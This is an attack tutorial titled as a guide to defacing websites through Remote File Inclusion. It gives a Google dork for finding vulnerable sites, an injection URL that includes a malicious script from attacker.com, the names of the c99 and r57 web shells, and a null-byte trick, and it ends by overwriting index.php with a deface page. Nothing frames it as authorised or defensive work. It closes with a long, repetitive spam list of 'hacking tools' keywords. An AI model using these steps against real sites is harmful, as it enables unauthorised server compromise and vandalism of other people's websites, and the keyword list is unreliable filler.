HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

More info

1. Pentest Tools
2. Hack Tools Online
3. Hacking Tools
4. Pentest Tools Subdomain
5. Pentest Tools
6. Best Hacking Tools 2020
7. Pentest Tools For Windows
8. Hacker
9. Hacking Tools Usb
10. Hacking Tools 2019
11. Hacking Apps
12. Hacker Tools
13. Black Hat Hacker Tools
14. Install Pentest Tools Ubuntu
15. Hacking Apps
16. Physical Pentest Tools
17. Top Pentest Tools
18. Hacking Tools Github
19. Best Hacking Tools 2019
20. Tools Used For Hacking
21. Hacking Tools Name
22. Pentest Tools Bluekeep
23. Hacker Tools Free
24. New Hack Tools
25. Hacker Tools 2019
26. Hacking Tools Download
27. Free Pentest Tools For Windows
28. Pentest Reporting Tools
29. Black Hat Hacker Tools
30. Hack Tools Mac
31. Hacking Tools Online
32. Nsa Hack Tools
33. Hack Tools For Games
34. Pentest Tools Open Source
35. Hacking Tools For Windows 7
36. Pentest Recon Tools
37. Pentest Tools Linux
38. Hack Tools For Ubuntu
39. Hacker Tools Free
40. Computer Hacker
41. Hackers Toolbox
42. Hak5 Tools
43. Hacker Tools Free Download
44. Hacking Tools Online
45. Pentest Box Tools Download
46. Hack Tools
47. Hack App
48. Hack App
49. Hacking Apps
50. Hacker Tools Hardware
51. Hack Tools 2019
52. Hack App
53. World No 1 Hacker Software
54. Hack Tools For Ubuntu
55. Hack Tools
56. Pentest Tools Port Scanner
57. Hacking Tools Windows
58. Pentest Tools Download
59. Hacker Hardware Tools
60. Hacker Tools Windows
61. Hacking Tools Windows
62. How To Hack
63. Hacker Tools For Windows
64. Tools For Hacker
65. Tools Used For Hacking
66. Hacker Tools Apk
67. Hacker Tools
68. Hacks And Tools
69. Hacker Search Tools
70. Pentest Tools Website Vulnerability
71. Hacker Tools Github
72. Hack Tool Apk
73. Computer Hacker
74. Hacking Tools Windows 10
75. Pentest Tools Free
76. Top Pentest Tools